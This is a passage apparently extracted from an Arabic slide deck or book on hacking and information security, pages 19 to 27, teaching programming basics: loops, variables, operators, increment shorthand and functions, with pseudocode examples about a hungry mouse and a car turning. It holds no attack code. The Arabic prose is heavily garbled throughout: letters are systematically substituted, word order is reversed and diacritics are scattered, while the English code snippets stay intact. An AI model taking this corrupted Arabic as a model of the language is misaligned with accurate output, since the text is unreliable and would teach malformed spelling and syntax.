‫واحصل‬ ‫ذب‬ ‫ة‬ " .. ‫الثاين‬ ‫القوس‬ ‫ينتهي‬ ({) ‫ال‬ ‫قيعود‬ Pointer ‫الب‬ ‫لىل‬ ‫داية‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫الرشط‬ ‫من‬ ‫قيتحقق‬ .. ‫جائع؟‬ ‫الزلت‬ ‫ذل‬ .. ‫الدال‬ ‫ج‬‫طار‬ ‫ج‬ ُ‫َخر‬‫ن‬ َ ‫س‬ ً‫ا‬‫لذ‬ ،!‫ال‬ ‫ة‬ . While (you are hungry) { Find some food; Eat the food; } ‫الكوب‬ ‫عىل‬ ‫املكتوب‬ ‫الكود‬ ‫داللة‬ ‫قهمت‬ ‫ذل‬ ..‫واآلن‬ ‫صفحة‬ ‫يف‬ ‫املوجود‬ ‫الباب؟‬ ‫ذذا‬ ‫عنوان‬ . ‫دالة‬ Until ‫ال‬ ‫نفس‬ ‫ذي‬ While :‫أنه‬ ‫أي‬ ،!‫معكوس‬ ‫برشط‬ ‫ولكن‬ ‫باألكل‬ ‫استمر‬ ،!‫بعد‬ ‫تشبع‬ ‫مل‬ ‫أنك‬ ‫لطاملا‬ . Until (you are not hungry) { Find some food; Eat the food; }
  • 19.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [19] For Loop ‫اخلطوات‬ ‫ذذه‬ ،‫ططوات‬ ‫ة‬ّ‫د‬‫ع‬‫ب‬ ‫بالقيام‬ ‫الربنامج‬ ‫ُخرب‬‫ن‬ ‫كأن‬ .‫ات‬ ّ‫ر‬َ‫مل‬‫ا‬ َ‫ن‬‫م‬ ‫د‬َ‫د‬َ‫ع‬‫ل‬ ‫ما‬ ٍ‫يشء‬ ‫تكرار‬‫ل‬ ‫احلاجه‬ ‫عند‬ ً‫ا‬‫أيض‬ ‫نستخدمها‬ .‫الداله‬ ‫من‬ ‫باخلروج‬ ‫سيقوم‬ ‫املرات‬ ‫عدد‬ ‫انتهاء‬ ‫وبعد‬ .‫ِبا‬ ‫ه‬ُ‫ُخرب‬‫ن‬ َ ‫س‬ ‫ات‬ ّ‫ر‬َ‫مل‬‫ا‬ ‫ن‬‫م‬ ‫د‬َ‫د‬َ‫ع‬‫ل‬ ‫َررذا‬‫ك‬ُ‫ي‬ َ ‫س‬ ‫ثال‬‫م‬ ‫ماييل‬ ‫ذذه‬ ‫لتوضيح‬ ‫الدال‬ ‫ة‬ ٍ‫كل‬ ‫باستخدام‬ ‫تطبيقه‬‫ب‬ ‫نقوم‬ َ ‫س‬ ،‫رتات‬‫م‬ ‫كيلو‬ ‫ة‬ َ ‫س‬ َ ‫َخ‬ ‫ساقة‬َ‫مل‬ ‫ة‬َ‫ب‬َ‫ك‬‫ر‬َ‫مل‬‫ا‬ ‫قيادة‬‫ل‬ ‫األمر‬ ‫عطي‬ُ‫ي‬ ‫كود‬ ‫ن‬َ‫ع‬ ‫باره‬‫ع‬ ، ‫ن‬‫م‬ While ‫و‬ For . For (5 iterations) Drive straight for 1 mile; ‫مل‬ ‫بالسري‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ،‫واحد‬ ‫ميل‬ ‫ة‬َ‫ق‬‫سا‬َ‫مل‬ ‫السياره‬ ‫يادة‬‫ق‬‫ب‬ ‫َقوم‬‫ت‬ َ ‫س‬ ‫نا‬ُ‫ذ‬ ‫امليل‬ ‫لىل‬ ‫تصل‬ ‫أن‬ ‫لىل‬ ‫وذكذا‬ ،‫ثالث‬ ‫ميل‬ ‫م‬ُ‫ث‬ ،‫آطر‬ ‫يل‬ .‫اخلامس‬ ‫ال‬ ‫غة‬ُ‫ل‬‫ب‬ ‫الدالة‬ ‫شكل‬ ‫ذذا‬ C : For (i=0; i<5; i++) Drive straight for 1 mile; ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫س‬ ‫كيف‬ ‫ن‬ ..ً‫ا‬‫الحق‬ ً‫ا‬‫كثري‬ ‫سيتكرر‬ ‫ألنه‬ ،‫الكود‬ ‫ذذا‬ ‫قرأ‬ ‫بقيمة‬ ‫ل‬ ُ ‫ط‬‫َد‬‫ت‬ َ ‫س‬ (i = 0) ‫قيمة‬ ‫قتزداد‬ ،‫واحد‬ ‫ميل‬ ‫ملساقة‬ ‫تقود‬ ‫ثم‬ i ‫قيكون‬ ،‫بواحد‬ ( i = 1 ) ‫بالرقم‬ ‫ُقارنه‬‫ت‬ ‫ثم‬ ، 5 ‫ذو‬ ‫ذل‬ ، ‫بتنفيذ‬ ‫قم‬ ‫ثم‬ ،‫آطر‬ ‫ميل‬ ‫مساقة‬ ‫لتقود‬ ‫اذذب‬ ،!‫نعم‬ ،‫أصغر؟‬ i++ ‫قيكون‬ ( i = 2 ) ‫بالرقم‬ ُ‫ه‬‫ن‬‫قار‬ ‫واآلن‬ ، 5 ‫للقياد‬ ‫د‬ُ‫ع‬ ‫ثم‬ ، ‫ة‬ ، ‫قيمة‬ ‫تكون‬ ‫أن‬ ‫لىل‬ ‫استمر‬ i ‫تساوي‬ 5 ‫بالرشط‬ ‫ُقارهنا‬‫ن‬‫ق‬ ، ( i < 5 ) ‫ال‬ ‫طارج‬ ‫قنخرج‬ ،!‫يتحقق‬ ‫مل‬ ‫أنه‬ ‫قنجد‬ .‫دالة‬
  • 20.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [20] ‫باستخدام‬ ‫الرشط‬ ‫نفس‬ ‫ق‬ّ‫ب‬‫ُط‬‫ن‬‫س‬ ‫واآلن‬ While Set the counter to 0; While (the counter is less than 5) { Drive straight for 1 mile; Add 1 to the counter; } ( ‫العداد‬ ‫بتصفري‬ ‫سنقوم‬ ‫نا‬ُ‫ذ‬ 0 ( ‫ليصبح‬ ‫واحد‬ ‫بقيمة‬ ‫العداد‬ ‫وزيادة‬ ،‫واحد‬ ‫ميل‬ ‫ملساقة‬ ‫القيادة‬ ‫ثم‬ ،) 1 ‫الع‬ ‫ثم‬ ) ‫و‬ ‫د‬ ‫ة‬ ‫للدالة‬ ‫ب‬ ‫الرقم‬ ‫ومقارنة‬ 5 ( ‫ليصبح‬ ‫العداد‬ ‫وزيادة‬ ‫آطر‬ ‫ميل‬ ‫بمساقة‬ ‫للسري‬ ‫قنعود‬ ،‫أقل‬ ‫أنه‬ ‫قنجد‬ 2 ‫الوصول‬ ‫حتى‬ ‫وذكذا‬ ) ( ‫للرقم‬ 4 .‫النهاية‬ ‫قتكون‬ ) Variables ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫لناء‬ ‫عن‬ ‫عبارة‬ ‫ذو‬ ‫املتغري‬ َ‫د‬ّ‫د‬ ُ ‫حم‬ ‫ة‬َ‫يم‬‫ق‬ ‫بداطله‬ ‫ع‬ َ ‫َض‬‫ن‬ ‫أن‬ ‫ة‬ ‫استخدام‬ ‫قبل‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫نوع‬ ‫حتديد‬ ‫من‬ ‫د‬ُ‫ب‬‫ال‬ ، ‫شابه‬ُ‫م‬ ‫ذذا‬ ،‫ه‬ ‫حيتفظ‬ ‫ال‬ ‫ربام‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ .‫عليها‬ ‫ه‬َ‫ق‬ َ ‫لص‬ُ‫مل‬‫ا‬ ‫الصور‬ ‫أو‬ ‫الكتابة‬ ‫بوجود‬ ‫متييزذا‬ ‫نستطيع‬ !‫والعصائر‬ ‫املرشوبات‬ ‫جاجات‬ ُ‫لز‬ ‫لفظة‬ ‫عليه‬ ‫لطالق‬ ‫قتم‬ ،‫منها‬ ‫ح‬ َ‫ر‬‫َط‬‫ن‬ ‫أو‬ ،‫عليها‬ ‫اإلضاقة‬ ‫أو‬ ،‫َغيريذا‬‫ت‬ ‫مكننا‬ُ‫ي‬ ،‫األبد‬ ‫اىل‬ ‫بداطله‬ ‫القيمة‬ ‫ِبذه‬ " ‫متغري‬ " ‫ماييل‬ ، ‫املوج‬ ‫تعريفه‬ ‫ز‬ ‫اإلنجليزي‬ ‫باللغه‬ ‫ة‬ : “An object that holds data that can be changed” ‫َوعه‬‫ن‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬‫و‬ ِّ ‫ري‬َ‫غ‬َ‫ت‬ُ‫مل‬‫ا‬ ‫اسم‬ ‫ُر‬‫ك‬‫َذ‬‫ن‬ ‫أن‬ ‫علينا‬ ‫جيب‬ ،ً‫ا‬‫برجمي‬ (declare your Variable) ‫أرقام‬ ‫أو‬ ً‫ا‬‫حروق‬ ‫سيحوي‬ ‫كان‬ ‫لذا‬ ‫ما‬ ً‫ال‬‫مث‬ . ‫احلال‬ ‫كام‬ ،‫برناجمك‬ ‫داطل‬ ‫باستخدامه‬ ‫تقوم‬ ‫أن‬ ‫قبل‬ ‫ذلك‬ ‫يتم‬ ‫أن‬ ‫جيب‬ ‫مع‬ ‫ُر‬‫ك‬‫َذ‬‫ن‬‫و‬ ‫ف‬ ِّ‫ر‬َ‫ع‬ُ‫ن‬ ‫قنحن‬ ،‫الطبخ‬ ‫وصفات‬ .‫بالطهي‬ ‫الرشوع‬ ‫قبل‬ ‫وأنواعها‬ ‫بأسامئها‬ ‫قادير‬َ‫مل‬‫ا‬
  • 21.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [21] ‫ال‬ ‫داطل‬ ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫بتخزينها‬ ‫اجلهاز‬ ‫يقوم‬ ‫املتغريات‬ ‫ذذه‬ Memory ، .‫بعد‬ ‫قيام‬ ‫بالتفصيل‬ ‫األماكن‬ ‫ذذه‬ ‫عن‬ ‫سنتكلم‬ ‫ال‬ ‫أنواع‬ ‫بعض‬ ‫ماييل‬ variables : int (integer values) float (decimal floating) char (single character values) ‫نا‬ُ‫ذ‬ ‫ن‬ ‫ق‬ ‫و‬ ‫م‬ ‫تغريين‬ُ‫م‬ ‫َعريف‬‫ت‬‫ب‬ a ‫و‬ b ‫َوعيهام‬‫ن‬ ‫تحديد‬‫ب‬ ‫منا‬ُ‫ق‬‫و‬ ( int ،) ‫سيكون‬ ‫كالذم‬ ‫أن‬ ‫أي‬ object ُ‫ه‬‫نوع‬ ‫عدد‬ ‫ب‬‫يستوع‬‫ل‬ " Integer " .‫حيح‬ َ ‫ص‬ ‫دد‬َ‫ع‬ ،‫عد‬َ‫ب‬ ُ‫ه‬‫ق‬‫ر‬‫َع‬‫ن‬ ‫ال‬ int a, b; :‫بسيط‬ ‫مثال‬ ‫نأطذ‬‫ل‬ int a = 13, b; float k; char z = 'A'; k = 3.14; z = 'w'; b = a + 5; ‫تغري‬ُ‫م‬ ‫بتعريف‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬ a ‫الرقم‬ ‫وذو‬ !ً‫ا‬‫سبق‬ُ‫م‬ ‫بداطله‬ ‫ما‬ ‫وحددنا‬ 13 .. ‫آطر‬ ‫تغري‬ُ‫م‬ ‫ددنا‬ َ‫ح‬ ‫م‬ُ‫ث‬ b ‫نوعه‬ ، " ‫صحيح‬ ‫عدد‬ " ‫ن‬‫ولك‬ ‫ه‬‫ل‬‫داط‬‫ب‬ ‫حويه‬َ‫ي‬ َ ‫س‬ ‫ما‬ ‫ُحدد‬‫ن‬ َ‫مل‬ .. ‫آطر‬ ‫تغري‬ُ‫م‬ ‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ k ‫نوعه‬ " ‫عرشي‬ ‫عدد‬ " ‫آطر‬ ‫متغري‬ ‫ثم‬ ، z ‫بد‬ ‫سيحوي‬ ‫اطله‬ ‫ذو‬ ‫واحد‬ ‫حرف‬ A .. ‫املتغري‬ ‫داطل‬ ‫وضعها‬ ‫نود‬ ‫التي‬ ‫القيمة‬ ‫حددنا‬ ‫وبعدذا‬ k ‫وذي‬ 3.14 .. ‫تغري‬ُ‫للم‬ ‫تغيري‬ ‫بإجراء‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ z ‫احلرف‬ ‫وذو‬ ،‫بداطله‬ ‫ما‬ ‫استبدلنا‬ ‫حيث‬ ‫جديد‬ ‫من‬ A .. ‫ذو‬ ،‫آطر‬ ‫حرف‬ ‫منه‬ ً‫ال‬‫بد‬ ‫ووضعنا‬ w .. ‫أطربنا‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬ ‫صديقنا‬ ‫تغري‬ُ‫مل‬‫ا‬ b ‫قيم‬ ‫داطله‬ ‫ن‬ ِّ‫خز‬ُ‫ي‬ َ ‫س‬ ُ‫ه‬‫أن‬ ‫املتغري‬ ‫ة‬ a ‫وذي‬ 13 ‫عدد‬ ‫عليها‬ ً‫ا‬‫زائد‬ 5 ..
  • 22.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [22] ‫قيمة‬ ‫ستكون‬ ‫وبالتايل‬ b ‫النهاية‬ ‫يف‬ 18  . ‫ال‬ ‫بعض‬ ‫لتوضيح‬ ‫اآلن‬ ‫سننتقل‬ Operators .‫همة‬ُ‫مل‬‫ا‬ Arithmetic Operators Operation Symbol Example Addition + b = a + 5 Subtraction - b = a - 5 Multiplication * b = a * 5 Division / b = a / 5 Modulo reduction % b = a % 5 ‫ال‬ ‫توضيح‬‫ب‬ ‫نقوم‬ َ ‫س‬ " Mod " ‫تغري‬ُ‫م‬ ‫ض‬‫َفر‬‫ن‬‫ل‬ ،‫ثال‬‫َم‬‫ك‬‫و‬ ،‫ة‬َ‫سم‬‫الق‬ ‫عملية‬ ‫لجراء‬ ‫بعد‬ ‫تبقية‬ُ‫مل‬‫ا‬ ‫القيمة‬ ‫وذو‬ a=13 ‫وأردنا‬ ‫عىل‬ ‫القسمة‬ 5 ‫الناتج‬ ‫قيكون‬ 2 ‫الرقم‬ ‫من‬ ‫ويتبقى‬ 13 ‫ذي‬ ..‫قيمة‬ ‫ذذه‬ ‫سمة‬‫الق‬ ‫عملية‬ ‫بعد‬ ( 3 .) (13%5 = 3) ‫االطتصارات‬ ‫بعض‬ ‫أيضا‬ ‫نستخدم‬ (Shorthand Expressions) ‫ال‬ ‫دالة‬ ‫يف‬ ‫املستخدمة‬ ‫تلك‬ ‫مثل‬ ‫الدوال‬ ‫بعض‬ ‫يف‬ For ً‫ا‬‫دوم‬ i++ . Full Expression Shorthand Explanation i = i + 1 i++ or ++i Add 1 to the variable i = i - 1 i-- or --i Subtract 1 from the variable ‫ال‬ ‫مع‬ ‫القات‬َ‫ع‬‫ال‬ ‫ذه‬َ‫ذ‬ ‫استخدام‬ ‫م‬‫ت‬َ‫ي‬ ‫ما‬َ‫ند‬‫وع‬ Arithmetic Operators ‫قتخت‬ ‫ل‬ ً‫ا‬‫تبع‬ ‫النواتج‬ ‫لف‬ ‫ستخدم‬ُ‫مل‬‫ا‬ ‫االطتصار‬ ‫نوع‬ .
  • 23.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [23] ‫مثال‬ : int a, b; a = 5; b = a++ * 6; ‫ن‬‫م‬ ً‫ال‬‫ك‬ ‫سيحوي‬ ‫ماذا‬ a ‫و‬ b ‫؟‬ :‫كالتايل‬ ‫الناتج‬ ‫سيكون‬ ..‫نعم‬ b = 30 a = 6 ‫ملاذا؟‬ ‫ألن‬ a++ ‫بإضاقة‬ ‫الربنامج‬ ‫رب‬‫ُخ‬‫ن‬ ‫أننا‬ ‫تعني‬ 1 ‫املتغري‬ ‫قيمة‬ ‫لاىل‬ a ‫ولكن‬ " ‫بعد‬ " ‫العم‬ ‫لمتام‬ ‫ل‬ ‫احلسابية‬ ‫ية‬ ! . :‫آطر‬ ‫ثال‬‫م‬ ‫لنستعرض‬ int a, b; a = 5; b = ++a * 6; ‫تغري‬ُ‫مل‬‫ا‬ ‫يمة‬‫ق‬ ‫تزداد‬ َ ‫س‬ ُ‫ه‬‫أن‬ ‫عني‬َ‫ي‬ ‫وذذا‬ a " ‫قبل‬ " :!‫الرضب‬ ‫ملية‬َ‫ع‬ ‫لجراء‬ a = a + 1; b = a * 6; ‫قيمة‬ ‫تكون‬ ‫وبالتايل‬ b ‫النهاية‬ ‫يف‬ = 36 ، ‫ويكون‬ ( a = 6 ) ‫عي‬ُ‫م‬ ‫قيمة‬ ‫لضاقة‬ ‫اإلطتصار‬ ‫من‬ ‫كنوع‬ ً‫ا‬‫أيض‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬.. ،‫رائع‬ ‫ذذا‬ ‫بالناتج‬ ‫واإلحتفاظ‬ ‫اجلمع‬ ‫بإجراء‬ ‫قيقوم‬ ،‫ما‬ ٍ‫تغري‬ُ‫مل‬ ‫نة‬ .‫األكواد‬ ‫يف‬ ً‫ا‬‫كثري‬ ‫استخدامها‬ ‫يتم‬ ،!‫الوقت‬ ‫نفس‬ ‫يف‬ ‫بداطله‬ ‫النهائي‬
  • 24.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [24] Full Expression Shorthand Explanation i = i + 12 i+=12 Add some value to the variable. i = i - 12 i-=12 Subtract some value from the variable. i = i * 12 i*=12 Multiply some value by the variable. i = i / 12 i/=12 Divide some value from the variable. Comparison Operators Condition Symbol Example Less than < (a < b) Greater than > (a > b) Less than or equal to <= (a <= b) Greater than or equal to >= (a >= b) Equal to == (a == b) Not equal to != (a != b) ‫نا‬‫ول‬َ‫ق‬ ‫عند‬ (a = 5) ،‫املثال‬ ‫سبيل‬ ‫عىل‬ ..‫َعني‬‫ن‬ ُ‫َحن‬‫ن‬َ‫ق‬ ‫ع‬ َ ‫ض‬ ‫قيمة‬ 5 ُ‫مل‬‫ا‬ ‫داطل‬ ‫تغري‬ a .. ‫نكتب‬ ‫عندما‬ ‫بينام‬ (a = = 5) ‫قنحن‬ ، ‫تغري‬ُ‫مل‬‫ا‬ ‫لها‬‫م‬ َ ‫حي‬ ‫التي‬ ‫القيمة‬ ‫من‬ ‫ق‬ُ‫ق‬َ‫َح‬‫ت‬‫ال‬ ‫الربنامج‬ ‫من‬ ‫نطلب‬ a ‫كانت‬ ‫لذا‬ ‫ما‬ 5 .‫ال‬ ‫أم‬ ‫ذناك‬ symbol ‫استخدامه‬ ‫مكن‬ُ‫ي‬ ‫آطر‬ ‫ال‬ ‫قبل‬ ‫فرده‬ُ‫م‬‫ب‬ condition ‫ال‬ ‫وذو‬ )!( ‫ويعني‬ " Not " :‫كامييل‬ !(a < b) is equivalent to (a >= b) ‫ال‬ ‫مزي‬ َ‫ر‬‫ب‬ ‫م‬‫ه‬‫تام‬‫خ‬‫ب‬ ‫ونقوم‬ AND ‫وال‬ OR : Logic Symbol Example OR || ((a < b) || (a < c)) AND && ((a < b) && !(a < c))
  • 25.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [25] ُ‫َحن‬‫ن‬ :‫األول‬ ‫املثال‬ ‫يف‬ ‫ُريد‬‫ن‬ ‫نا‬ُ‫ذ‬ َ ‫حت‬ ّ‫أي‬ ‫قيق‬ ‫الثاين‬ ‫أو‬ ‫األول‬ ‫ني‬َ‫ط‬ َ ‫الرش‬ َ‫ن‬‫م‬ .. ‫النتيجه‬ ‫قتكون‬ True . ‫الثا‬ ‫املثال‬ ‫ويف‬ ‫سيكون‬ :‫ين‬ ‫الناتج‬ True ً‫ا‬‫مع‬ ‫الرشطني‬ ‫حتقق‬ ‫لذا‬ ‫ققط‬ .. ‫قيمة‬ ‫تكون‬ ‫أن‬ ‫وذو‬ a ‫قيمة‬ ‫من‬ ‫أصغر‬ b ‫قيمة‬ ‫تقل‬ ‫ال‬ ‫الوقت‬ ‫نفس‬ ‫ويف‬ a ‫عن‬ ‫قيمة‬ c . ‫العالقة‬ ‫يوضح‬ ‫املثال‬ ‫ذذا‬ ً‫ا‬‫أيض‬ : While ((hungry) && !(cat_present)) { Find some food; If(!(food_is_on_a_mousetrap)) Eat the food; } ‫دالة‬ ‫تتذكر‬ ‫ذل‬ While ..‫؟‬ ‫رش‬ ‫بوضع‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬ ‫حلدوثها‬ ‫طني‬ ‫ومه‬ ، ‫ا‬ ‫آطر‬ ‫رشط‬ ‫قتح‬ ‫تم‬ ‫ثم‬ ،‫اجلبن‬ ‫قطعة‬ ‫عن‬ ‫قسيبحث‬ .‫ط‬‫الق‬ ‫ياب‬‫وغ‬ ،‫الفأر‬ ‫وع‬ ُ‫ج‬ : .‫التهامها‬‫ب‬ ‫م‬ُ‫ق‬ ‫حينها‬ ،‫ئران‬‫الف‬ ‫صيدة‬َ‫م‬‫ب‬ ‫ت‬ َ‫يس‬َ‫ل‬ ‫ذذه‬ ‫بن‬ُ‫جل‬‫ا‬ ‫طعة‬‫ق‬ ‫تكون‬ ‫أن‬ ‫وذو‬ ً‫ا‬‫أيض‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫اجلوع‬ ‫وث‬ُ‫د‬ ُ‫ح‬ ‫ن‬َ‫ع‬ ‫التعبري‬ ‫بالصيغة‬ While (hungry ==1) ‫القيمة‬ ‫أن‬ ‫يرى‬ ‫الربنامج‬ ‫ألن‬ 0 ‫تعني‬ False ‫والقيمة‬ 1 ‫تعني‬ True . Functions ‫ال‬ ‫لىل‬ ‫اآلن‬ ‫سننتقل‬ ،‫األساسيات‬ ‫ذذه‬ ‫من‬ ‫انتهينا‬ ‫أن‬ ‫بعد‬ Functions .
  • 26.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [26] ‫ال‬ ‫من‬ ‫معينة‬ ‫جمموعة‬ ‫استخدام‬ ‫ربمج‬ُ‫مل‬‫ا‬ ‫يود‬ ً‫ا‬‫أحيان‬ Instructions ‫قمث‬ ،‫ع‬‫وض‬َ‫م‬ ‫من‬ ‫أكثر‬ ‫يف‬ ‫بتنفيذذا‬ ‫ليقوم‬ ً‫ال‬ ‫قرضنا‬ ‫لذا‬ ‫ب‬ ‫اتصال‬ ‫قناة‬ ‫بإنشاء‬ ‫تقوم‬ ‫برجمية‬ ‫أسطر‬ ‫جمموعة‬ ‫بكتابة‬ ‫قمنا‬ ‫أننا‬ Server ‫وبطريق‬ ‫دد‬ ُ ‫حم‬ ‫ة‬ ‫برنامج‬ ‫ُب‬‫ت‬‫نك‬ ‫ُنا‬‫ك‬ ‫قإذا‬ ،‫معينة‬ ‫م‬ ‫قليس‬ ،‫الكود‬ ‫داطل‬ ‫مواضع‬ ‫عدة‬ ‫يف‬ ‫السريقر‬ ‫ِبذا‬ ‫نتصل‬ ‫أن‬ ‫نا‬‫وأرد‬ ،‫طويل‬ ‫مر‬ ‫كل‬ ‫األسطر‬ ‫ذذه‬ ‫تكرار‬ ‫احلكمة‬ ‫ن‬ ‫ة‬ ‫مك‬ُ‫ي‬ ،‫االتصال‬ ‫إلنشاء‬ ‫قيها‬ ‫نحتاج‬ ‫ب‬ ‫أشبه‬ ‫يشء‬ ‫يف‬ ‫وضعهم‬ ‫ننا‬ Sub-Program ‫ى‬ّ‫سم‬ُ‫ي‬ " Function " . ‫أردنا‬ ‫وكلام‬ ‫ال‬ ‫ذذه‬ ‫عنوان‬ ‫بكتابة‬ ‫اكتفينا‬ ‫االتصال‬ ‫لنشاء‬ Function .‫اجلهد‬ ‫لتوقري‬ ‫ققط‬ ‫ل‬ :‫عليه‬ ‫ق‬ِّ‫ب‬َ‫ط‬ُ‫ن‬‫ل‬ ‫واقعي‬ ‫ثال‬‫م‬ ‫ذ‬ ُ ‫نأط‬ ‫حتدد‬ ‫أن‬ ‫وتود‬ ،‫قليل‬ ‫بعد‬ ‫فرتق‬ُ‫م‬ ‫ُصادف‬‫ت‬ ‫ثم‬ ‫الشوارع‬ ‫أحد‬ ‫يف‬ ‫سيارتك‬‫ب‬ ‫َسري‬‫ت‬ ‫أنك‬ ‫ض‬‫نفر‬‫ل‬ ‫اليمني‬ ‫لىل‬ ‫ستتجه‬ ‫كنت‬ ‫لذا‬ ‫ما‬ ‫كتابة‬‫ب‬ ‫نا‬ُ‫ذ‬ ‫سنقوم‬ ،!‫اليسار‬ ‫لىل‬ ‫أو‬ Function ‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ Function Turn ‫التفاصيل‬ ‫ن‬‫م‬ ‫جمموعة‬ َ ‫لك‬ ‫ز‬ِّ‫ُجه‬‫ن‬‫س‬ ‫أننا‬ ‫أي‬ ‫مس‬ ‫بتغيري‬ ‫رغبتك‬ ‫عند‬ ‫اتباعها‬ ‫يتم‬ ‫سوف‬ ‫التي‬ ‫برجمية‬ ‫ميزة‬ ‫سنستخدم‬ ‫ولكننا‬ ،!‫ارك‬ ‫أن‬ ‫يف‬ ‫القرار‬ ‫لك‬ ‫سنرتك‬ ‫أننا‬ ‫وذي‬ ‫االجت‬ ‫دد‬ ُ ‫حت‬ ‫ذاته‬ ‫حد‬ ‫يف‬ ‫االجتاه‬ ‫سنعترب‬ .‫اليسار‬ ‫اىل‬ ‫أم‬ ‫اليمني‬ ‫لىل‬ ‫ستتجه‬ ‫كنت‬ ‫اذا‬ ‫قيام‬ ‫اه‬ Variable ‫يه‬ِّ‫م‬ َ‫ُس‬‫ن‬ َ ‫س‬ variable_direction ‫ال‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ‫أنت‬ ُ‫ه‬ُ‫د‬‫د‬َ ُ ‫حت‬ ‫أن‬ َ ‫ك‬َ‫ل‬ Turn( ) ‫عليه‬ ً‫ء‬‫بنا‬ ‫عملها‬ ‫بإجراء‬ ‫ال‬ ‫ستقوم‬ Function :‫اآليت‬ ‫بتنفيذ‬  ‫اإلشار‬ ‫ضوء‬ ‫تشغيل‬ ‫ة‬ ‫ا‬ ‫حسب‬ ‫اليُسى‬ ‫أو‬ ‫اليمنى‬ ‫لليه‬ ‫االنتقال‬ ‫املراد‬ ‫إلجتاه‬ ( (Activate Blinker .  ‫السيار‬ ‫تبدأ‬ ‫ة‬ ‫بالتباطئ‬ ( (Slow down .  !‫لليها‬ ‫سندطل‬ ‫التي‬ ‫احلارة‬ ‫يف‬ ‫املرور‬ ‫حركة‬ ‫بتفحص‬ ‫سنقوم‬ (Check for oncoming traffic) . ‫ال‬ ‫ذذه‬ ‫عمل‬ ‫وضح‬ُ‫ي‬ ‫ثال‬‫م‬ ‫ذذا‬ function :
  • 27.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [27] Function Turn (variable_direction) { Activate the variable_direction blinker; Slow down; Check for oncoming traffic; while (there is oncoming traffic) { Stop; Watch for oncoming traffic; } Turn the steering wheel to the variable_direction; while (turn is not complete) { if(speed < 5 mph) Accelerate; } Turn the steering wheel back to the original position; Turn off the variable_direction blinker; } ‫األ‬ ‫س‬‫و‬َ‫ق‬‫ال‬ ‫أن‬ ‫ظ‬‫الح‬ )‫(اخلارجي‬ ‫ول‬ ‫بينهام‬ ‫ت‬َ‫مت‬ ‫األحداث‬ ‫ومجيع‬ ،‫النهاية‬ ‫يف‬ ‫وغلقه‬ ‫البداية‬ ‫يف‬ ‫تحه‬َ‫ق‬ ‫َم‬‫ت‬ .. ‫دالة‬ ‫َخدمنا‬‫ت‬‫اس‬ While ‫احل‬ ‫لىل‬ ‫طول‬ُ‫الد‬ ‫م‬َ‫د‬َ‫ع‬ ‫ط‬ َ ‫رش‬ ‫ع‬ َ ‫َض‬‫ن‬‫ل‬ ‫ة‬َ‫مح‬َ‫د‬‫ز‬ُ‫م‬ ‫ا‬‫َوهن‬‫ك‬ ‫حالة‬ ‫يف‬ ‫ارة‬ .. ،‫كذلك‬ ‫ُن‬‫ك‬َ‫ت‬ َ‫مل‬ ‫قإن‬ ‫ال‬ ‫ل‬‫نتق‬َ‫ي‬ َ ‫س‬َ‫ق‬ pointer ‫ال‬ ‫لىل‬ Instruction ‫ال‬ ُ‫ه‬‫َرك‬‫ت‬ ‫(تم‬ ‫راد‬ُ‫مل‬‫ا‬ ‫اإلجتاه‬ ‫لىل‬ ‫ود‬‫ق‬‫امل‬ ‫دوران‬ ‫وذي‬ ‫تالية‬ ‫السيار‬ ‫أن‬ ‫وذو‬ ‫آطر‬ ‫ط‬ َ ‫رش‬ ‫عنا‬ َ ‫ض‬َ‫و‬ ‫م‬ُ‫ث‬ ،)‫تغري‬ُ‫كم‬ ‫ة‬ ‫ِسع‬ ‫عىل‬ ‫تكون‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ‫نفسها‬ ‫ة‬ ‫واالندما‬ ‫بالدوران‬ ‫للقيام‬ ‫كاقية‬ ‫ج‬ ً‫ا‬‫مع‬ ‫دالتني‬ ‫قاستخدمنا‬ ‫باحلارة‬ .. Whlie ‫دالة‬ ‫وداطلها‬ if .. ‫الس‬ ‫د‬َ‫قو‬‫م‬ ‫ُعيد‬‫ن‬‫ل‬ ‫م‬ُ‫نه‬‫م‬ ‫جنا‬ َ‫ر‬ َ ‫ط‬ ‫م‬ُ‫ث‬ ‫يار‬ ‫ة‬ ‫ئ‬‫ُطف‬‫ن‬‫و‬ ‫الطبيعي‬ 